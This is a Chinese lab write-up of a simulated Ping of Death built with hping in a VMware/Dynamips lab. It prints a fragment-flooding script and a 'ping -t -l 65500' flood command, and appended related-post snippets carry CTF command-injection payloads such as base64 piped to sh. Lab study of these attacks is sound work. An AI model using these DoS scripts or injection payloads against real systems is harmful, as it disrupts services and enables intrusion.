模拟实现死亡之Ping(Ping of death)

需求描述

使用hping构造IP分片,模拟实现死亡之Ping

环境搭建

使用VMWare和Dynamips。

实现思路

构造重装后大于65535字节的IP分片


hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1

for ((i=1;i<50;i++))

do

j=`expr $i \* 1408`

hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1

done

hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1

实验实施

1. 在PC2上安装Hping源码包


[[email protected] ~]# tar zxf hping2.0.0-rc3.tar.gz

[[email protected] ~]# ls

anaconda-ks.cfg Desktop hping2.0.0-rc3.tar.gz hping2-rc3 install.log install.log.syslog

[[email protected] ~]# mv hping2-rc3/ hping

[[email protected] ~]# cd hping

[[email protected] hping]# ./configure

[[email protected] hping]# make && make install

2. 在Web主机上定位Sniffer上定义过滤器用来抓包

3. 在PC2上用ping命令发送在和大小为70000的ICMP包


[[email protected] ~]# ping 192.168.1.1 -s 70000 -c 1

Error: packet size 70000 is too large. Maximum is 65507

##系统报错:允许发送的ICMP包的子啊和最大为65507.

4. 用hping命令,发送数据为7000的ICMP包


[[email protected] ~]# hping 192.168.1.1 -1 -d 70000 -c 1

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 4464 data bytes

len=1500 ip=192.168.1.1 ttl=127 DF id=57 icmp_seq=0 rtt=39.8 ms

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 1 packets received, 0% packet loss

round-trip min/avg/max = 39.8/39.8/39.8 ms

##可以看到,只截取了4464字节的数据

5. 在Web服务器上启用sniffer抓包

6. 在PC2上编辑一个脚本,先发送两个小IP分片测试


[[email protected] ~]# vim pingcs.sh

[[email protected] ~]# more pingcs.sh

#!/bin/bash

hping 192.168.1.1 -1 -x -d 800 -N 100 -c 1

hping 192.168.1.1 -1 -d 200 -g 808 -N 100 -c 1

[[email protected] ~]# chmod +x pingcs.sh

[[email protected] ~]# ./pingcs.sh

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 800 data bytes

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

HPING 192.168.1.1 (eth0 192.168.1.1): icmp mode set, 28 headers + 200 data bytes

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

7. 在Web主机上查看抓到的IP分片

8. 在PC2上发送重装后大于65535字节的IP分片


[[email protected] ~]# vim pingofdeath.sh

[[email protected] ~]# more pingofdeath.sh

#!/bin/bash

hping 192.168.1.1 -1 -x -d 1400 -N 100 -c 1

for ((i=1;i<50;i++))

do

j=`expr $i \* 1408`

hping 192.168.1.1 -1 -x -d 1400 -g $j -N 100 -c 1

done

hping 192.168.1.1 -1 -d 1000 -g 70400 -N 100 -c 1

[[email protected] ~]# chmod +x pingofdeath.sh

[[email protected] ~]# ./pingofdeath.sh

--- 192.168.1.1 hping statistic ---

1 packets tramitted, 0 packets received, 100% packet loss

round-trip min/avg/max = 0.0/0.0/0.0 ms

9. 在Web主机上启用sniffer抓包,可以看到很多IP分片,从中找到offset=64768的包

补充:

死亡之Ping(ping of death)

对目标IP不停地Ping探测从而致使目标主机网络瘫痪。常见工具有蜗牛炸弹、AhBomb等。

由于在早期的阶段,路由器对包的最大尺寸都有限制,许多操作系统对TCP/IP栈的实现在ICMP包上都是规定64KB,并且在对包的标题头进行读取之后,要根据该标题头里包含的信息来为有效载荷生成缓冲区,当产生畸形的,声称自己的尺寸超过ICMP上限的包也就是加载的尺寸超过64K上限时,就会出现内存分配错误,导致TCP/IP堆栈崩溃,致使接受方死机。

防御:现在所有的标准TCP/IP实现都已实现对付超大尺寸的包,并且大多数防火墙能够自动过滤这些攻击,包括:从windows 98之后的windows NT(service pack 3之后),Solaris、和Mac OS都具有抵抗一般ping of death攻击的能力。此外,对防火墙进行配置,阻断ICMP以及任何未知协议,都讲防止此类攻击。

ping -t -l 65500 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)

至此、实验完毕!

时间: 2024-08-15 01:51:40

模拟实现死亡之Ping(Ping of death)的相关文章

简单的DOS攻击之死亡之ping详解

DOS攻击之死亡之ping详解,dos攻击,俗称拒绝服务攻击,通过发送大量的无用请求数据包给服务器,耗尽服务器资源,从而无法通过正常的访问服务器资源,导致服务器崩溃. 如果多个ip通过发起对一个服务器的攻击,如果无防御措施,不管服务器内存多大,宽带多宽,CPU多快,都无法抵御这种攻击. 死亡之ping代码: 打开系统的命令窗口,windows电脑按win+R ,输入cmd命令后进入命令界面: 输入: ping -l 65500 目标ip -t (65500 表示数据长度上限,-t 表示不停地pi

[GXYCTF2019]Ping Ping Ping

0x00 知识点 命令执行变量拼接 /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php 过滤bash用sh执行 echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh 内联执行 将反引号内命令的输出作为输入执行 ?ip=127.0.0.1;cat$IFS$9`ls` 0x01 解题 打开题目,联想到XCTF中的一道题目 命令执行的方法大抵是加上管道符或者分号,那么试试管道符 /?ip=127.0.0.1|ls 看到flag.php ind

HDU 6203 ping ping ping [LCA,贪心,DFS序,BIT(树状数组)]

题目链接:[http://acm.hdu.edu.cn/showproblem.php?pid=6203] 题意 :给出一棵树,如果(a,b)路径上有坏点,那么(a,b)之间不联通,给出一些不联通的点对,然后判断最少有多少个坏点. 题解 :求每个点对的LCA,然后根据LCA的深度排序.从LCA最深的点对开始,如果a或者b点已经有点被标记了,那么continue,否者标记(a,b)LCA的子树每个顶点加1. #include<Bits/stdc++.h> using namespace std;

HDU 6203 ping ping ping(dfs序+LCA+树状数组)

http://acm.hdu.edu.cn/showproblem.php?pid=6203 题意: n+1 个点 n 条边的树(点标号 0 ~ n),有若干个点无法通行,导致 p 组 U V 无法连通.问无法通行的点最少有多少个. 思路: 贪心思维,破坏两个点的LCA是最佳的.那么怎么判断现在在(u,v)之间的路径上有没有被破坏的点呢,如果没有的话那么此时就要破坏这个lca点.一开始我们要把询问按照u和v的lca深度从大到小排序,如果某个点需要被破坏,那么它的所有子节点都可以不再需要破坏别的点

死亡之Makefile。。。

A=Nothing build: @rm -rf build/$(A)/* > /dev/null .PHONY: build 这是一个Makefile..只需要打开终端,在这个Makefile文件所在的目录下,执行命令make即可(死去)!

Ping of Death

09年七月份墨尔本电影节网站被黑,黑客用的方法就是死亡之ping.      ping  -l  65500  -t    IP        -l  定义数据包的大小: -t 向一个固定IP不停地PING , 通俗点:不停地发送一定大小的ICMP数据报.停止该命令的方法CTRL+C.如果你只有一台电脑也许没有什么效果,但如果有许多电脑(控制一千个肉鸡同时攻击!)那么就可以使对方完全瘫痪. 缺陷:现在大部分电脑都是通过路由来上网的,这种上网方式比使用猫上网安全,安全的原因是前者的IP是动态的. 

ping 死进行时

cmd ping ping 10.64.230.111 -t -l 65500 pause 妙玄,不会ddos,因为没有肉鸡,没有两个电脑,或者多个电脑,没有僵尸网络.现在不懂怎么抓鸡,哈哈. 一无是处,但是自己喜欢Ping吧,大家可以形象化理解,就是触碰你一下,哈哈,所以指望碰你一下,就堵塞你的网络吗?这是不可能的,但是我可以在很多cmd 下运行Ping啊!所以这次就开了50多个cmd窗口,但是自己不想一个个打,所以弄了个TXT之后转为cmd.之后狂点50多下,并且数据包也是最大的65500,

扯谈网络编程之自己实现ping

ping是基于ICMP(Internet Control Message Protocol)协议实现的,而ICMP协议是在IP层实现的. ping实际上是发起者发送一个Echo Request(type = 8)的,远程主机回应一个Echo Reply(type = 0)的过程. 为什么用ping不能测试某一个端口 刚开始接触网络的时候,可能很多人都有疑问,怎么用ping来测试远程主机的某个特定端口? 其实如果看下ICMP协议,就可以发现ICMP里根本没有端口这个概念,也就根本无法实现测试某一个

每天一个linux命令(41)--ping命令

Linux系统的 ping 命令是常用的网络命令,它通常用来测试与目标主机的连通性,它通过发送 ICMP ECHO_REQUEST数据包到网络主机(send  ICMP  ECHO_REQUEST to  network hosts),并显示响应情况,这样我们就可以根据它输出的信息来确定目标主机是否可访问(但这不是绝对的).有些服务器处于安全考虑,会设置防火墙禁止ping或者在内核参数中禁止ping,以免被外人探测到. Linux 下的Ping 和 windows 下的ping 稍有区别,Lin